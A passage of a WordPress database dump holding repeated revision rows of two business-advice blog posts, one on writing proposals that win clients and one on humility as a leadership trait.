required to fulfill them. The client will perceive your value to them  based on how you will provide desired outcomes not just deliverables.\r\n\r\n<strong>Winning proposals eliminate risk.</strong>\r\n\r\nA prospective client is taking a risk by hiring you. A winning  proposal will share your knowledge and insight in ways that position and  prove you are the “go-to” expert in this solution. To do that, you have  to provide useful knowledge that illuminates and expands the client’s  options or possibilities– in a manner that surprises and delights them!\r\n\r\nThen show proof by illustrating how other clients have achieved their  outcomes as a result of doing business with you. Your proposal needs to  instill confidence in their consideration and decision to do business  with you.\r\n\r\n<strong>Winning proposals do not look like you filled in the blanks.</strong>\r\n\r\nIf your business requires consultative sales conversations, it’s  essential that your proposal be highly customized and reflective of the  substance and specifics of those early sales conversations. You won’t  distinguish your value by submitting a proposal that looks like you  plugged your solution into a boilerplate form. Remember your purpose is  providing a unique solution that is highly valued by the client-to-be.  If it’s off the shelf, it’s probably not special or unique, and  consequently will be perceived as less valuable.\r\n\r\n<strong>Winning proposals are well organized and complete.</strong>\r\n\r\nRegardless of the size of the document, your proposal needs to be  well organized and complete. A winning proposal should include these  components:\r\n\r\n<em>Introduction</em>\r\nThis is your opportunity to state your claim of expertise, and the value you bring to the client. Two paragraphs tops.\r\n\r\n<em>The Clients Desires/Objectives/Outcomes</em>\r\nState your deep  understanding of your clients needs, objectives and desired outcome.  Re-state in “their own words” what the perceived need/ problem is, why  obtaining a solution is important to the client, and what defines a  successful outcome.\r\n\r\n<em>The Project Definition</em>\r\nState all the specific information  that defines the scope and detail of all deliverables and the services  you will provide to complete the assignment.\r\n\r\n<em>Your Proposed Solution</em>\r\nHere’s where compelling  storytelling is critical. This section is not about your process or your  services. This is about communicating the functional and emotional  benefits associated with your proposed solution–what’s in it for them  and how your solution will fulfill their needs and achieve their desired  outcomes. If your solution involves proprietary processes or methods,  outline them here. Just remember to align your process to support the  desired outcome. Every process must be anchored to a desired outcome.\r\n\r\n<em>The Financial Value of the Solution</em>\r\nOutline all the  specific information about your fees and expenses including the time  required for completing the project, and any associated terms or  conditions regarding how you expect to be compensated.\r\n\r\nYour fees should be stated in a range (i.e. $10,000 -$15,000).   You’re stated fee needs to reflect the financial value the client places  on their desired outcome, not how many hours it takes you to deliver.  Do not provide any line item detail to your stated fee. If the client  wants that breakdown in detail, leave that stuff for the “closing”  conversation.\r\n\r\n<em>The Support and Proof of Your Stated Expertise</em>\r\nProvide  short bios featuring the specific qualifications and the individual  experience members of your team assigned to this project will bring to  the party. Hint: it better be the A team. Also include any case studies  that are highly relevant and prove your claims of expertise in solving  the stated problem.\r\n\r\n<em>Appendix</em>\r\nUse this last section to include any process or financial detail that supports the previous content.\r\n\r\n<em>Proposal Acceptance Page</em>\r\nThis final page is where you obtain the clients acceptance to provide your closing contract.\r\n\r\n<strong>Winning proposals present themselves</strong>.\r\n\r\nOf course, it’s always best to present your proposal in person.  However, that’s not always possible or practical. In my business, my  clients may be in a different part of the country. It’s not always  practical for me to present in person, nor is it always desirable to the  client. That’s why your proposal needs to be strong enough to do the  “presenting” without you.\r\n\r\nOften, clients will receive proposals to develop a short list of  candidates. More importantly, decision-makers only meet the finalists.  The proposal is a selling document not a closing document or a contract.  If you make it to the short list, and the client wants a deeper  discussion about your proposal, that’ll be your time to have a closing  conversation. The proposal offers you an opportunity to demonstrate how  you add value not just take their order.\r\n\r\n<strong>Preparing proposals that will win more business is a  thoughtful process. Only invest in the opportunities you are well suited  to pursue. When you tell a compelling story about how you will help  your client achieve the outcome they highly value, chances are, you’ll  not only get the gig, but command premium pricing as well.  And that’s  as good as it gets.</strong>\r\n\r\n</div>', 'The art of preparing proposals that win more business.', 0, '', 'inherit', 'open', 'open', '', '1624-revision-10', '', '', '2011-06-13 08:39:50', '2011-06-13 15:39:50', '', 1624, 'http://www.whitehotcenter.com/2011/06/13/1624-revision-10/', 0, 'revision', '', 0),
(1643, 2, '2011-06-23 12:34:51', '2011-06-23 19:34:51', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\nIt’s easy to become so self-absorbed in our pursuits we forget the importance of humility.\n\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”.\n\nAs you begin to realize your business success, my advice is to be humble.\n<h2>Humility is a frame of mind where you knowingly use your strengths for other’s benefit on behalf of a higher purpose beyond your own accomplishments. In my view, this is a defining characteristic of great leadership.</h2>\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\n\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute true value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be.\n\nThey set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\n\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. That’s were we all share common ground. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes.\n\nOur natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\n\n&nbsp;\n\nAdmitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.', 'Humility is the bridge to common ground and richer experiences.', 0, '', 'inherit', 'open', 'open', '', '1641-revision', '', '', '2011-06-23 12:34:51', '2011-06-23 19:34:51', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision/', 0, 'revision', '', 0),
(1644, 2, '2011-06-23 12:35:06', '2011-06-23 19:35:06', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\nIt’s easy to become so self-absorbed in our pursuits we forget the importance of humility.\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”.\r\n\r\nAs you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for other’s benefit on behalf of a higher purpose beyond your own accomplishments. In my view, this is a defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute true value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be.\r\n\r\nThey set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. That’s were we all share common ground. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes.\r\n\r\nOur natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and richer experiences.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-2', '', '', '2011-06-23 12:35:06', '2011-06-23 19:35:06', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-2/', 0, 'revision', '', 0),
(1645, 2, '2011-06-23 12:35:17', '2011-06-23 19:35:17', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\nIt’s easy to become so self-absorbed in our pursuits we forget the importance of humility.\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”.\r\n\r\nAs you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for other’s benefit on behalf of a higher purpose beyond your own accomplishments. In my view, this is a defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute true value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be.\r\n\r\nThey set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. That’s were we all share common ground. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes.\r\n\r\nOur natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and richer experiences.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-3', '', '', '2011-06-23 12:35:17', '2011-06-23 19:35:17', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-3/', 0, 'revision', '', 0),
(1646, 2, '2011-06-23 12:39:38', '2011-06-23 19:39:38', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong>\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for other’s benefit on behalf of a higher purpose beyond your own accomplishments. In my view, this is a defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute true value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be.\r\n\r\nThey set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. That’s were we all share common ground. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes.\r\n\r\nOur natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and richer experiences.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-4', '', '', '2011-06-23 12:39:38', '2011-06-23 19:39:38', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-4/', 0, 'revision', '', 0),
(1648, 2, '2011-06-23 12:42:22', '2011-06-23 19:42:22', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong>\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for other’s benefit on behalf of a higher purpose beyond your own accomplishments. In my view, this is a defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute true value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be.\r\n\r\nThey set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. This is the common ground we all share. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes. Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and richer experiences.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-6', '', '', '2011-06-23 12:42:22', '2011-06-23 19:42:22', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-6/', 0, 'revision', '', 0),
(1647, 2, '2011-06-23 12:39:46', '2011-06-23 19:39:46', '<p><img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" /></p>\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<p><strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong></p>\r\n<p>I believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.</p>\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for other’s benefit on behalf of a higher purpose beyond your own accomplishments. In my view, this is a defining characteristic of great leadership.</h2>\r\n<p>The humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.</p>\r\n<p>In my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute true value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be.</p>\r\n<p>They set the bar high, but were honest and transparent about their own flaws, failures and set-backs.</p>\r\n<p>If you want to truly influence and impact people, don’t blather on about your own successes, share your failures. That’s were we all share common ground. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes.</p>\r\n<p>Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.</p>\r\n<p><strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong></p>\r\n', 'Humility is the bridge to common ground and richer experiences.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-5', '', '', '2011-06-23 12:39:46', '2011-06-23 19:39:46', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-5/', 0, 'revision', '', 0),
(1650, 2, '2011-06-23 12:42:37', '2011-06-23 19:42:37', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong>\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for other’s benefit on behalf of a higher purpose beyond your own accomplishments. In my view, this is a defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute true value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be.\r\n\r\nThey set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. This is the common ground we all share. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes. Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and richer experiences.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-8', '', '', '2011-06-23 12:42:37', '2011-06-23 19:42:37', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-8/', 0, 'revision', '', 0),
(1649, 2, '2011-06-23 12:42:28', '2011-06-23 19:42:28', '<p><img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" /></p>\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<p><strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong></p>\r\n<p>I believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.</p>\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for other’s benefit on behalf of a higher purpose beyond your own accomplishments. In my view, this is a defining characteristic of great leadership.</h2>\r\n<p>The humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.</p>\r\n<p>In my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute true value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be.</p>\r\n<p>They set the bar high, but were honest and transparent about their own flaws, failures and set-backs.</p>\r\n<p>If you want to truly influence and impact people, don’t blather on about your own successes, share your failures. This is the common ground we all share. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes. Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.</p>\r\n<p><strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong></p>\r\n', 'Humility is the bridge to common ground and richer experiences.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-7', '', '', '2011-06-23 12:42:28', '2011-06-23 19:42:28', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-7/', 0, 'revision', '', 0),
(1651, 2, '2011-06-23 12:43:18', '2011-06-23 19:43:18', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong>\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for other’s benefit on behalf of a higher purpose beyond your own accomplishments. In my view, this is a defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute true value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be.\r\n\r\nThey set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. This is the common ground we all share. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes. Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and greater influence.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-9', '', '', '2011-06-23 12:43:18', '2011-06-23 19:43:18', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-9/', 0, 'revision', '', 0),
(1652, 2, '2011-06-23 12:43:26', '2011-06-23 19:43:26', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong>\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for other’s benefit on behalf of a higher purpose beyond your own accomplishments. In my view, this is a defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute true value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be.\r\n\r\nThey set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. This is the common ground we all share. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes. Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and greater influence.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-10', '', '', '2011-06-23 12:43:26', '2011-06-23 19:43:26', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-10/', 0, 'revision', '', 0);
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(1653, 2, '2011-06-23 12:51:46', '2011-06-23 19:51:46', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong>\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for other’s benefit on behalf of a higher purpose beyond your own accomplishments. In my view, this is a defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute true value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be. They set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. This is the common ground we all share. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes. Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and greater influence.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-11', '', '', '2011-06-23 12:51:46', '2011-06-23 19:51:46', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-11/', 0, 'revision', '', 0),
(1654, 2, '2011-06-23 12:52:24', '2011-06-23 19:52:24', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong>\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for the benefit of others on behalf of a higher purpose beyond your own accomplishments. In my view, this is the defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute true value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be. They set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. This is the common ground we all share. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes. Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and greater influence.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-12', '', '', '2011-06-23 12:52:24', '2011-06-23 19:52:24', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-12/', 0, 'revision', '', 0),
(1656, 2, '2011-06-23 12:56:26', '2011-06-23 19:56:26', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong>\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for the benefit of others on behalf of a higher purpose beyond your own accomplishments. In my view, this is the defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those 